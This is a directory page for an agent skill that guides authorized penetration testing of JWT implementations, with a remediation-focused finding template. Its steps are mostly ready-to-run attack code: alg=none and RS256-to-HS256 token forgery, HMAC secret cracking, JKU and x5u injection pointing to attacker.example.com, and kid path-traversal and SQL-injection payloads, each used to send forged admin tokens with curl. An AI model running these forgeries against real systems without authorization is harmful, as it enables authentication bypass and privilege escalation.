MCPInstall

testing-jwt-token-security

Assessing JSON Web Token implementations for cryptographic weaknesses, algorithm confusion attacks, and authorization bypass vulnerabilities during security engagements.

Installs
539
Last 24h
—
Trending rank
—
Security
Not audited

Install

Works with every agent the skills CLI supports.

npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-jwt-token-security
  1. 01

    Install

    Run the command in your project. The CLI asks which agents to install for.

  2. 02

    Describe the task

    Ask your agent for something this skill covers. It loads testing-jwt-token-security automatically when relevant.

  3. 03

    Review the result

    The agent follows the SKILL.md steps, scripts and references bundled with the skill.

SKILL.md

The instructions your agent reads when the skill is triggered.

Testing JWT Token Security

When to Use

  • During authorized penetration tests when the application uses JWT for authentication or authorization
  • When assessing API security where JWTs are passed as Bearer tokens or in cookies
  • For evaluating SSO implementations that use JWT/JWS/JWE tokens
  • When testing OAuth 2.0 or OpenID Connect flows that issue JWTs
  • During security audits of microservice architectures using JWT for inter-service authentication

Prerequisites

  • Authorization: Written penetration testing agreement for the target
  • jwt_tool: JWT attack toolkit (pip install jwt_tool or git clone https://github.com/ticarpi/jwt_tool.git)
  • Burp Suite Professional: With JSON Web Token extension from BApp Store
  • Python PyJWT: For scripting custom JWT attacks (pip install pyjwt)
  • Hashcat: For brute-forcing HMAC secrets (apt install hashcat)
  • jq: For JSON processing
  • Target JWT: A valid JWT token from the application

Workflow

Step 1: Decode and Analyze the JWT Structure

Extract and examine the header, payload, and signature components.

# Decode JWT parts (base64url decode)
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

# Decode header
echo "$JWT" | cut -d. -f1 | base64 -d 2>/dev/null | jq .
# Output: {"alg":"HS256","typ":"JWT"}

# Decode payload
echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Output: {"sub":"1234567890","name":"John Doe","iat":1516239022}

# Using jwt_tool for comprehensive analysis
python3 jwt_tool.py "$JWT"

# Check for sensitive data in the payload:
# - PII (email, phone, address)
# - Internal IDs or database references
# - Role/permission claims
# - Expiration times (exp, nbf, iat)
# - Issuer (iss) and audience (aud)

Step 2: Test Algorithm None Attack

Attempt to forge tokens by setting the algorithm to "none".

# jwt_tool algorithm none attack
python3 jwt_tool.py "$JWT" -X a

# Manual none algorithm attack
# Create header: {"alg":"none","typ":"JWT"}
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')

# Create modified payload (change role to admin)
PAYLOAD=$(echo -n '{"sub":"1234567890","name":"John Doe","role":"admin","iat":1516239022}' | base64 | tr -d '=' | tr '+/' '-_')

# Construct token with empty signature
FORGED_JWT="${HEADER}.${PAYLOAD}."
echo "Forged JWT: $FORGED_JWT"

# Test the forged token
curl -s -H "Authorization: Bearer $FORGED_JWT" \
  "https://target.example.com/api/admin/users" | jq .

# Try variations: "None", "NONE", "nOnE"
for alg in none None NONE nOnE; do
  HEADER=$(echo -n "{\"alg\":\"$alg\",\"typ\":\"JWT\"}" | base64 | tr -d '=' | tr '+/' '-_')
  FORGED="${HEADER}.${PAYLOAD}."
  echo -n "alg=$alg: "
  curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer $FORGED" \
    "https://target.example.com/api/admin/users"
  echo
done

Step 3: Test Algorithm Confusion (RS256 to HS256)

If the server uses RS256, try switching to HS256 and signing with the public key.

# Step 1: Obtain the server's public key
# Check common locations
curl -s "https://target.example.com/.well-known/jwks.json" | jq .
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .jwks_uri
curl -s "https://target.example.com/oauth/certs" | jq .

# Step 2: Extract public key from JWKS
# Save the JWKS and convert to PEM format
# Use jwt_tool or openssl

# Step 3: jwt_tool key confusion attack
python3 jwt_tool.py "$JWT" -X k -pk public_key.pem

# Manual algorithm confusion attack with Python
python3 << 'PYEOF'
import jwt
import json

# Read the server's RSA public key
with open('public_key.pem', 'r') as f:
    public_key = f.read()

# Create forged payload
payload = {
    "sub": "1234567890",
    "name": "Admin User",
    "role": "admin",
    "iat": 1516239022,
    "exp": 9999999999
}

# Sign with HS256 using the RSA public key as the HMAC secret
forged_token = jwt.encode(payload, public_key, algorithm='HS256')
print(f"Forged token: {forged_token}")
PYEOF

# Test the forged token
curl -s -H "Authorization: Bearer $FORGED_TOKEN" \
  "https://target.example.com/api/admin/users"

Step 4: Brute-Force HMAC Secret

If HS256 is used, attempt to crack the signing secret.

# Using jwt_tool with common secrets
python3 jwt_tool.py "$JWT" -C -d /usr/share/wordlists/rockyou.txt

# Using hashcat for GPU-accelerated cracking
# Mode 16500 = JWT (HS256)
hashcat -a 0 -m 16500 "$JWT" /usr/share/wordlists/rockyou.txt

# Using john the ripper
echo "$JWT" > jwt_hash.txt
john jwt_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256

# If secret is found, forge arbitrary tokens
python3 << 'PYEOF'
import jwt

secret = "cracked_secret_here"
payload = {
    "sub": "1",
    "name": "Admin",
    "role": "admin",
    "exp": 9999999999
}
token = jwt.encode(payload, secret, algorithm='HS256')
print(f"Forged token: {token}")
PYEOF

Step 5: Test JWT Claim Manipulation and Injection

Modify JWT claims to escalate privileges or bypass authorization.

# Using jwt_tool for claim tampering
# Change role claim
python3 jwt_tool.py "$JWT" -T -S hs256 -p "known_secret" \
  -pc role -pv admin

# Test common claim attacks:

# 1. JKU (JWK Set URL) injection
python3 jwt_tool.py "$JWT" -X s -ju "https://attacker.example.com/jwks.json"
# Host attacker-controlled JWKS at the URL

# 2. KID (Key ID) injection
# SQL injection in kid parameter
python3 jwt_tool.py "$JWT" -I -hc kid -hv "../../dev/null" -S hs256 -p ""
# If kid is used in file path lookup, point to /dev/null (empty key)

# SQL injection via kid
python3 jwt_tool.py "$JWT" -I -hc kid -hv "' UNION SELECT 'secret' --" -S hs256 -p "secret"

# 3. x5u (X.509 URL) injection
python3 jwt_tool.py "$JWT" -X s -x5u "https://attacker.example.com/cert.pem"

# 4. Modify subject and role claims
python3 jwt_tool.py "$JWT" -T -S hs256 -p "secret" \
  -pc sub -pv "admin@target.com" \
  -pc role -pv "superadmin"

Step 6: Test Token Lifetime and Revocation

Assess token expiration enforcement and revocation capabilities.

# Test expired token acceptance
python3 << 'PYEOF'
import jwt
import time

secret = "known_secret"
# Create token that expired 1 hour ago
payload = {
    "sub": "user123",
    "role": "user",
    "exp": int(time.time()) - 3600,
    "iat": int(time.time()) - 7200
}
expired_token = jwt.encode(payload, secret, algorithm='HS256')
print(f"Expired token: {expired_token}")
PYEOF

curl -s -H "Authorization: Bearer $EXPIRED_TOKEN" \
  "https://target.example.com/api/profile" -w "%{http_code}"

# Test token with far-future expiration
python3 << 'PYEOF'
import jwt

secret = "known_secret"
payload = {
    "sub": "user123",
    "role": "user",
    "exp": 32503680000  # Year 3000
}
long_lived = jwt.encode(payload, secret, algorithm='HS256')
print(f"Long-lived token: {long_lived}")
PYEOF

# Test token reuse after logout
# 1. Capture JWT before logout
# 2. Log out (call /auth/logout)
# 3. Try using the captured JWT again
curl -s -H "Authorization: Bearer $PRE_LOGOUT_TOKEN" \
  "https://target.example.com/api/profile" -w "%{http_code}"
# If 200, tokens are not revoked on logout

# Test token reuse after password change
# Similar test: capture JWT, change password, reuse old JWT

Key Concepts

ConceptDescription
Algorithm None AttackRemoving signature verification by setting alg to none
Algorithm ConfusionSwitching from RS256 to HS256 and signing with the public key as HMAC secret
HMAC Brute ForceCracking weak HS256 signing secrets using wordlists or brute force
JKU/x5u InjectionPointing JWT header URLs to attacker-controlled key servers
KID InjectionExploiting SQL injection or path traversal in the Key ID header parameter
Claim TamperingModifying payload claims (role, sub, permissions) after compromising the signing key
Token RevocationThe ability (or inability) to invalidate tokens before their expiration
JWE vs JWSJSON Web Encryption (confidentiality) vs JSON Web Signature (integrity)

Tools & Systems

ToolPurpose
jwt_toolComprehensive JWT testing toolkit with automated attack modules
Burp JWT EditorBurp Suite extension for real-time JWT manipulation
HashcatGPU-accelerated HMAC secret brute-forcing (mode 16500)
John the RipperCPU-based JWT secret cracking
PyJWTPython library for programmatic JWT creation and manipulation
jwt.ioOnline JWT decoder for quick analysis (do not paste production tokens)

Common Scenarios

Scenario 1: Algorithm None Bypass

The JWT library accepts "alg":"none" tokens, allowing any user to forge admin tokens by simply removing the signature and changing the algorithm header.

Scenario 2: Weak HMAC Secret

The application uses HS256 with a dictionary word as the signing secret. Hashcat cracks the secret in minutes, enabling complete token forgery and admin impersonation.

Scenario 3: Algorithm Confusion on SSO

An SSO provider uses RS256 but the consumer application also accepts HS256. The attacker signs a forged token with the publicly available RSA public key using HS256.

Scenario 4: KID SQL Injection

The kid header parameter is used in a SQL query to look up signing keys. Injecting ' UNION SELECT 'attacker_secret' -- allows the attacker to control the signing key.

Output Format

## JWT Security Finding

**Vulnerability**: JWT Algorithm Confusion (RS256 to HS256)
**Severity**: Critical (CVSS 9.8)
**Location**: Authorization header across all API endpoints
**OWASP Category**: A02:2021 - Cryptographic Failures

### JWT Configuration
| Property | Value |
|----------|-------|
| Algorithm | RS256 (also accepts HS256) |
| Issuer | auth.target.example.com |
| Expiration | 24 hours |
| Public Key | Available at /.well-known/jwks.json |
| Revocation | Not implemented |

### Attacks Confirmed
| Attack | Result |
|--------|--------|
| Algorithm None | Blocked |
| Algorithm Confusion (RS256→HS256) | VULNERABLE |
| HMAC Brute Force | N/A (RSA) |
| KID Injection | Not present |
| Expired Token Reuse | Accepted (no revocation) |

### Impact
- Complete authentication bypass via forged admin tokens
- Any user can escalate to any role by forging JWT claims
- Tokens remain valid after logout (no server-side revocation)

### Recommendation
1. Enforce algorithm allowlisting on the server side (reject unexpected algorithms)
2. Use asymmetric algorithms (RS256/ES256) with proper key management
3. Implement token revocation via a blocklist or short expiration with refresh tokens
4. Validate all JWT claims server-side (iss, aud, exp, nbf)
5. Use a minimum key length of 256 bits for HMAC secrets

FAQ

What does the testing-jwt-token-security skill do?

Assessing JSON Web Token implementations for cryptographic weaknesses, algorithm confusion attacks, and authorization bypass vulnerabilities during security engagements.

How do I install testing-jwt-token-security?

Run npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-jwt-token-security in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/testing-jwt-token-security/ (personal) or .claude/skills/testing-jwt-token-security/ (project).

Which AI agents can use testing-jwt-token-security?

Any agent that supports the open Agent Skills format (a folder with a SKILL.md file), including Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, Windsurf, Cline, OpenCode and more.

Is testing-jwt-token-security safe to install?

No partner security audit is available yet. Skills can run commands and scripts, so read the SKILL.md and any bundled files before installing.

Who maintains testing-jwt-token-security?

It is published by mukul975 in mukul975/anthropic-cybersecurity-skills. It has 539 recorded installs.

More from mukul975/anthropic-cybersecurity-skills

View all →

testing-api-security-with-owasp-top-10

mukul975/anthropic-cybersecurity-skills

Systematically assesses REST, GraphQL, and gRPC API endpoints against the OWASP API Security Top 10 (2023) using Burp Suite and Postman for automated and manual testing. Use during authorized API penetration tests, before deploying new endpoints to production, or when validating API gateway controls and rate limiting.

Security780 installs

analyzing-api-gateway-access-logs

mukul975/anthropic-cybersecurity-skills

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect BOLA/IDOR attacks, rate limit bypass, credential scanning, and injection attempts. Uses pandas for statistical analysis of request patterns and anomaly detection. Use when investigating API abuse or building API-specific threat detection rules.

Backend & APIs764 installs

analyzing-android-malware-with-apktool

mukul975/anthropic-cybersecurity-skills

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

Security678 installs

acquiring-disk-image-with-dd-and-dcfldd

mukul975/anthropic-cybersecurity-skills

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

Media & Creative676 installs

performing-web-application-penetration-test

mukul975/anthropic-cybersecurity-skills

Performs systematic security testing of web applications following the OWASP Web Security Testing Guide (WSTG) methodology to identify vulnerabilities in authentication, authorization, input validation, session management, and business logic. The tester uses Burp Suite as the primary interception proxy alongside manual testing techniques to find flaws that automated scanners miss. Activates for requests involving web app pentest, OWASP testing, application security assessment, or web vulnerability testing.

Security663 installs

testing-for-xss-vulnerabilities

mukul975/anthropic-cybersecurity-skills

Tests web applications for reflected, stored, and DOM-based Cross-Site Scripting by injecting JavaScript payloads with Burp Suite (XSS extensions, Active Scan++) and browser tools, then bypassing sanitization and CSP to demonstrate session hijacking and user impersonation. Use for OWASP WSTG client-side injection testing or when evaluating input sanitization and output encoding coverage.

Security654 installs

Popular security skills

View category →

azure-compliance

microsoft/azure-skills

Run Azure compliance and security audits with azqr plus Key Vault expiration checks. Covers best-practice assessment, resource review, policy/compliance validation, and security posture checks. WHEN: compliance scan, security audit, BEFORE running azqr (compliance cli tool), Azure best practices, Key Vault expiration check, expired certificates, expiring secrets, orphaned resources, compliance assessment.

OfficialSecurity567K installs

minimal-run-and-audit

lllllllama/rigorpilot-skills

Rigor Run skill for README-first deep learning repo reproduction. Use when the task is specifically to capture or normalize evidence from the selected smoke test or documented inference or evaluation command and write standardized reprooutputs/ files, including patch notes when repository files changed. Do not use for training execution, initial repo intake, generic environment setup, paper lookup, target selection, hidden scientific-meaning changes, or end-to-end orchestration by itself.

Security477.4K installs

seo-audit

coreyhaines31/marketingskills

When the user wants to audit, review, or diagnose SEO issues on their site. Also use when the user mentions "SEO audit," "technical SEO," "why am I not ranking," "SEO issues," "on-page SEO," "meta tags review," "SEO health check," "my traffic dropped," "lost rankings," "not showing up in Google," "site isn't ranking," "Google update hit me," "page speed," "core web vitals," "crawl errors," "indexing issues," "stuck on page 2," "striking distance keywords," "title tag rewrite," "low CTR," "local SEO," "Google Business Profile," or "map pack." Use this even if the user just says something vague like "my SEO is bad" or "help with SEO" — start with an audit. For building pages at scale to target keywords, see programmatic-seo. For adding structured data, see schema. For AI search optimization, see ai-seo.

Security238.7K installs

firebase-security-rules-auditor

firebase/agent-skills

Audits Firebase (Firestore, Cloud Storage) security rules for vulnerabilities, privilege escalation, role bypasses, create vs update inconsistencies, resource exhaustion, type safety, size limits, and hasOnly ownership checks. Use when auditing/reviewing rules, running red-team rule assessments, or scoring against auditor checklists. Don't use for Firebase CLI (login, deploy), Auth, Crashlytics, Remote Config, or database queries.

OfficialSecurity139.1K installs

audit

pbakaus/impeccable

Run technical quality checks across accessibility, performance, theming, responsive design, and anti-patterns. Generates a scored report with P0-P3 severity ratings and actionable plan. Use when the user wants an accessibility check, performance audit, or technical quality review.

Security81.9K installs

competitors

coreyhaines31/marketingskills

When the user wants to create competitor comparison or alternative pages for SEO and buyer-facing use. Also use when the user mentions 'alternative page,' 'vs page,' 'competitor comparison,' 'comparison page,' '[Product] vs [Product],' '[Product] alternative,' 'competitive landing pages,' 'how do we compare to X,' 'competitor teardown,' 'audit our competitor pages,' 'are our comparison pages out of date,' or 'competitive asset audit.' Use this for any content that positions your product against competitors. Covers four formats: singular alternative, plural alternatives, you vs competitor, and competitor vs competitor. For auditing existing claims (not researching competitors from scratch, which is competitor-profiling; not technical SEO on these pages, which is seo-audit), use the asset audit here. For internal battle cards and sales-specific competitor docs, see sales-enablement.

Security79.3K installs